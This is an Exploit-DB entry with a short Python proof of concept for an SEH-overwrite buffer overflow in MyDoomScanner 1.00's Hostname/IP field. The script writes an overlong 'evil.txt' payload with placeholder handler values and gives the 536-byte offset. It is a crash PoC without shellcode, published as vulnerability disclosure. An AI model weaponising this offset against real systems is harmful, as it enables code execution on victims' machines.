MyDoomScanner 1.00 - Local Buffer Overflow (PoC)

Author: Anurag Srivastava
type: dos
platform: windows
port: 
date_added: 2017-08-18  
date_updated: 2017-08-18  
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url: http://www.exploit-db.com/screenshots/idlt42500/screen-shot-2017-08-18-at-083045.png  
application_url: http://www.exploit-db.commydoomscanner.zip  

raw file: 42483.py  

#!/usr/bin/python
# Exploit Title     : MyDoomScanner1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Discovery Date    : 17/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/mydoomscanner.aspx
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows XP
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address    SE handler
#0012FAF8   43434343
#42424242   *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 536
buffer = "A"*520
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()